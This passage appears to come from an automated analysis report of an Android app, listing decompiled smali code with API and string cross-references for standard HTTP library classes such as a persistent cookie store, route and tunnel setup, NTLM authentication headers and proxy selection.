        77invoke-interface {v1, v0, p1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        79invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
        80return-void
        Cross References
        APIs
        • android.content.SharedPreferences.edit
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.util.concurrent.ConcurrentHashMap.remove
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • android.content.SharedPreferences$Editor.remove
        • java.util.concurrent.ConcurrentHashMap.keySet
        • android.text.TextUtils.join
        • android.content.SharedPreferences$Editor.putString
        • android.content.SharedPreferences$Editor.commit
        Strings
        • cookie_
        • names
        • ,
        Position Instruction Meta Information
        1iget-object v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        3invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
        4move-result-object v0
        6iget-object v1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        8invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        9move-result-object v1
        11invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        12move-result-object v1
        13const/4 v2, 0x0
        14goto_11:
        15invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        16move-result v3
        17if-eqz v3, :cond_4a
        19invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        20move-result-object v3
        21check-cast v3, Ljava/util/Map$Entry;
        23invoke-interface {v3}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        24move-result-object v4
        25check-cast v4, Ljava/lang/String;
        27invoke-interface {v3}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        28move-result-object v3
        29check-cast v3, Lcz/msebera/android/httpclient/cookie/Cookie;
        31invoke-interface {v3, p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->isExpired(Ljava/util/Date;)Z
        32move-result v3
        33if-eqz v3, :cond_11
        35iget-object v2, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        37invoke-virtual {v2, v4}, Ljava/util/concurrent/ConcurrentHashMap;->remove(Ljava/lang/Object;)Ljava/lang/Object;
        38new-instance v2, Ljava/lang/StringBuilder;
        40invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        42const-string v3, "cookie_"
        44invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        49move-result-object v2
        51invoke-interface {v0, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        52const/4 v2, 0x1
        53goto/16 :goto_11
        54cond_4a: if-eqz v2, :cond_5d
        56const-string p1, "names"
        58const-string v1, ","
        60iget-object v3, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        62invoke-virtual {v3}, Ljava/util/concurrent/ConcurrentHashMap;->keySet()Ljava/util/Set;
        63move-result-object v3
        65invoke-static {v1, v3}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String;
        66move-result-object v1
        68invoke-interface {v0, p1, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        69cond_5d:
        70invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
        71return v2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • Unknown step indicator
        • from RouteDirector.
        • Tunnel to proxy created.
        • Tunnel to target created.
        • Unable to establish route: planned =
        • ; current =
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-virtual {p5}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        8move-result-object v0
        10invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getConnectTimeout()I
        11move-result v0
        12new-instance v1, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;
        14invoke-direct {v1, p3}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;-><init>(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        15cond_d:
        16invoke-virtual {v1}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->toRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        17move-result-object v2
        19iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->routeDirector:Lcz/msebera/android/httpclient/conn/routing/HttpRouteDirector;
        21invoke-interface {v3, p3, v2}, Lcz/msebera/android/httpclient/conn/routing/HttpRouteDirector;->nextStep(Lcz/msebera/android/httpclient/conn/routing/RouteInfo;Lcz/msebera/android/httpclient/conn/routing/RouteInfo;)I
        22move-result v3
        23const/4 v4, 0x0
        24packed-switch v3, :pswitch_data_b6
        25new-instance p1, Ljava/lang/IllegalStateException;
        26new-instance p2, Ljava/lang/StringBuilder;
        28invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        30const-string p3, "Unknown step indicator "
        32invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34invoke-virtual {p2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        36const-string p3, " from RouteDirector."
        38invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        41move-result-object p2
        43invoke-direct {p1, p2}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        44throw p1
        45pswitch_37:
        46iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        48invoke-interface {v2, p2, p3, p5}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->upgrade(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        50invoke-virtual {p3}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->isSecure()Z
        51move-result v2
        53invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->layerProtocol(Z)V
        54goto/16 :goto_93
        55pswitch_44:
        56invoke-virtual {v2}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getHopCount()I
        57move-result v2
        58add-int/lit8 v2, v2, -0x1
        60invoke-direct {p0, p3, v2, p5}, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->createTunnelToProxy(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;ILcz/msebera/android/httpclient/client/protocol/HttpClientContext;)Z
        61move-result v4
        63iget-object v5, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        65const-string v6, "Tunnel to proxy created."
        67invoke-virtual {v5, v6}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        69invoke-virtual {p3, v2}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getHopTarget(I)Lcz/msebera/android/httpclient/HttpHost;
        70move-result-object v2
        72invoke-virtual {v1, v2, v4}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->tunnelProxy(Lcz/msebera/android/httpclient/HttpHost;Z)V
        73goto/16 :goto_93
        74pswitch_5d:
        75invoke-direct/range {p0 .. p5}, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->createTunnelToTarget(Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;)Z
        76move-result v2
        78iget-object v4, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        80const-string v5, "Tunnel to target created."
        82invoke-virtual {v4, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        84invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->tunnelTarget(Z)V
        85goto/16 :goto_93
        86pswitch_6c:
        87iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        88if-lez v0, :cond_72
        89move v5, v0
        90goto/16 :goto_73
        91cond_72: const/4 v5, 0x0
        92goto_73:
        93invoke-interface {v2, p2, p3, v5, p5}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->connect(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;ILcz/msebera/android/httpclient/protocol/HttpContext;)V
        95invoke-virtual {p3}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getProxyHost()Lcz/msebera/android/httpclient/HttpHost;
        96move-result-object v2
        98invoke-virtual {v1, v2, v4}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->connectProxy(Lcz/msebera/android/httpclient/HttpHost;Z)V
        99goto/16 :goto_93
        100pswitch_7e:
        101iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        102if-lez v0, :cond_83
        103move v4, v0
        104cond_83:
        105invoke-interface {v2, p2, p3, v4, p5}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->connect(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;ILcz/msebera/android/httpclient/protocol/HttpContext;)V
        107invoke-virtual {p3}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->isSecure()Z
        108move-result v2
        110invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->connectTarget(Z)V
        111goto/16 :goto_93
        112pswitch_8e:
        113iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        115invoke-interface {v2, p2, p3, p5}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->routeComplete(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        116goto_93: if-gtz v3, :cond_d
        117return-void
        118pswitch_96: new-instance p1, Lcz/msebera/android/httpclient/HttpException;
        119new-instance p2, Ljava/lang/StringBuilder;
        121invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        123const-string p4, "Unable to establish route: planned = "
        125invoke-virtual {p2, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        127invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        129const-string p3, "; current = "
        131invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        133invoke-virtual {p2, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        135invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        136move-result-object p2
        138invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        139throw p1
        140nop
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.getClass
        • java.lang.Class.getName
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.InvalidCredentialsException.<init>
        Strings
        • Proxy-Authorization
        • Authorization
        • : NTLM
        • Unexpected state:
        • NTLM authentication failed
        • Credentials cannot be used for NTLM authentication:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/auth/AuthenticationException;
        3}
        4.end annotation
        5try_start_0: move-object p2, p1
        6check-cast p2, Lcz/msebera/android/httpclient/auth/NTCredentials;
        7try_end_3:
        8iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->state:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        10sget-object v0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;->FAILED:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        11if-eq p1, v0, :cond_83
        13iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->state:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        15sget-object v0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;->CHALLENGE_RECEIVED:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        16if-ne p1, v0, :cond_22
        18iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->engine:Lcz/msebera/android/httpclient/impl/auth/NTLMEngine;
        20invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/NTCredentials;->getDomain()Ljava/lang/String;
        21move-result-object v0
        23invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/NTCredentials;->getWorkstation()Ljava/lang/String;
        24move-result-object p2
        26invoke-interface {p1, v0, p2}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngine;->generateType1Msg(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        27move-result-object p1
        29sget-object p2, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;->MSG_TYPE1_GENERATED:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        30iput-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->state:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        31goto/16 :goto_44
        32cond_22:
        33iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->state:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        35sget-object v0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;->MSG_TYPE2_RECEVIED:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        36if-ne p1, v0, :cond_6a
        38iget-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->engine:Lcz/msebera/android/httpclient/impl/auth/NTLMEngine;
        40invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/NTCredentials;->getUserName()Ljava/lang/String;
        41move-result-object v2
        43invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/NTCredentials;->getPassword()Ljava/lang/String;
        44move-result-object v3
        46invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/NTCredentials;->getDomain()Ljava/lang/String;
        47move-result-object v4
        49invoke-virtual {p2}, Lcz/msebera/android/httpclient/auth/NTCredentials;->getWorkstation()Ljava/lang/String;
        50move-result-object v5
        52iget-object v6, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->challenge:Ljava/lang/String;
        54invoke-interface/range {v1 .. v6}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngine;->generateType3Msg(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        55move-result-object p1
        57sget-object p2, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;->MSG_TYPE3_GENERATED:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        58iput-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->state:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        59goto_44: new-instance p2, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        60const/16 v0, 0x20
        62invoke-direct {p2, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        64invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->isProxy()Z
        65move-result v0
        66if-eqz v0, :cond_57
        68const-string v0, "Proxy-Authorization"
        70invoke-virtual {p2, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        71goto/16 :goto_5c
        72cond_57:
        73const-string v0, "Authorization"
        75invoke-virtual {p2, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        76goto_5c:
        77const-string v0, ": NTLM "
        79invoke-virtual {p2, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        81invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        82new-instance p1, Lcz/msebera/android/httpclient/message/BufferedHeader;
        84invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/message/BufferedHeader;-><init>(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        85return-object p1
        86cond_6a: new-instance p1, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        87new-instance p2, Ljava/lang/StringBuilder;
        89invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        91const-string v0, "Unexpected state: "
        93invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        95iget-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMScheme;->state:Lcz/msebera/android/httpclient/impl/auth/NTLMScheme$State;
        97invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        99invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        100move-result-object p2
        102invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        103throw p1
        104cond_83: new-instance p1, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        106const-string p2, "NTLM authentication failed"
        108invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        109throw p1
        110catch_8b: new-instance p2, Lcz/msebera/android/httpclient/auth/InvalidCredentialsException;
        111new-instance v0, Ljava/lang/StringBuilder;
        113invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        115const-string v1, "Credentials cannot be used for NTLM authentication: "
        117invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        119invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        120move-result-object p1
        122invoke-virtual {p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
        123move-result-object p1
        125invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        127invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        128move-result-object p1
        130invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/auth/InvalidCredentialsException;-><init>(Ljava/lang/String;)V
        131throw p2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • Unknown step indicator
        • from RouteDirector.
        • Tunnel to proxy created.
        • Tunnel to target created.
        • Unable to establish route: planned =
        • ; current =
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        6new-instance v0, Lcz/msebera/android/httpclient/conn/routing/BasicRouteDirector;
        8invoke-direct {v0}, Lcz/msebera/android/httpclient/conn/routing/BasicRouteDirector;-><init>()V
        9cond_5:
        10iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        12invoke-interface {v1}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        13move-result-object v1
        15invoke-interface {v0, p1, v1}, Lcz/msebera/android/httpclient/conn/routing/HttpRouteDirector;->nextStep(Lcz/msebera/android/httpclient/conn/routing/RouteInfo;Lcz/msebera/android/httpclient/conn/routing/RouteInfo;)I
        16move-result v2
        17packed-switch v2, :pswitch_data_90
        18new-instance p1, Ljava/lang/IllegalStateException;
        19new-instance p2, Ljava/lang/StringBuilder;
        21invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        23const-string v0, "Unknown step indicator "
        25invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27invoke-virtual {p2, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        29const-string v0, " from RouteDirector."
        31invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        34move-result-object p2
        36invoke-direct {p1, p2}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        37throw p1
        38pswitch_2e:
        39iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        41iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        43invoke-interface {v1, p2, v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->layerProtocol(Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        44goto/16 :goto_6d
        45pswitch_36:
        46invoke-virtual {v1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getHopCount()I
        47move-result v1
        48add-int/lit8 v1, v1, -0x1
        50invoke-virtual {p0, p1, v1, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->createTunnelToProxy(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        51move-result v3
        53iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        55const-string v5, "Tunnel to proxy created."
        57invoke-virtual {v4, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        59iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        61invoke-virtual {p1, v1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getHopTarget(I)Lcz/msebera/android/httpclient/HttpHost;
        62move-result-object v1
        64iget-object v5, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        66invoke-interface {v4, v1, v3, v5}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->tunnelProxy(Lcz/msebera/android/httpclient/HttpHost;ZLcz/msebera/android/httpclient/params/HttpParams;)V
        67goto/16 :goto_6d
        68pswitch_53:
        69invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->createTunnelToTarget(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        70move-result v1
        72iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        74const-string v4, "Tunnel to target created."
        76invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        78iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        80iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        82invoke-interface {v3, v1, v4}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->tunnelTarget(ZLcz/msebera/android/httpclient/params/HttpParams;)V
        83goto/16 :goto_6d
        84pswitch_66:
        85iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        87iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        89invoke-interface {v1, p1, p2, v3}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->open(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        90goto_6d: if-gtz v2, :cond_5
        91return-void
        92pswitch_70: new-instance p2, Lcz/msebera/android/httpclient/HttpException;
        93new-instance v0, Ljava/lang/StringBuilder;
        95invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        97const-string v2, "Unable to establish route: planned = "
        99invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        101invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        103const-string p1, "; current = "
        105invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        107invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        109invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        110move-result-object p1
        112invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        113throw p2
        114nop
        APIs
        • java.net.URI.<init>
        • java.net.ProxySelector.select
        • java.net.Proxy.type
        • java.net.Proxy.address
        • java.net.InetSocketAddress.getPort
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.net.Proxy.address
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • Unable to handle non-Inet proxy address:
        • Cannot convert host to URI:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;
        3}
        4.end annotation
        5try_start_0: new-instance p2, Ljava/net/URI;
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->toURI()Ljava/lang/String;
        8move-result-object p3
        10invoke-direct {p2, p3}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        11try_end_9:
        12iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultRoutePlanner;->proxySelector:Ljava/net/ProxySelector;
        14invoke-virtual {p1, p2}, Ljava/net/ProxySelector;->select(Ljava/net/URI;)Ljava/util/List;
        15move-result-object p1
        17invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultRoutePlanner;->chooseProxy(Ljava/util/List;)Ljava/net/Proxy;
        18move-result-object p1
        19const/4 p2, 0x0
        21invoke-virtual {p1}, Ljava/net/Proxy;->type()Ljava/net/Proxy$Type;
        22move-result-object p3
        24sget-object v0, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
        25if-ne p3, v0, :cond_53
        27invoke-virtual {p1}, Ljava/net/Proxy;->address()Ljava/net/SocketAddress;
        28move-result-object p2
        29instance-of p2, p2, Ljava/net/InetSocketAddress;
        30if-eqz p2, :cond_38
        32invoke-virtual {p1}, Ljava/net/Proxy;->address()Ljava/net/SocketAddress;
        33move-result-object p1
        34check-cast p1, Ljava/net/InetSocketAddress;
        35new-instance p2, Lcz/msebera/android/httpclient/HttpHost;
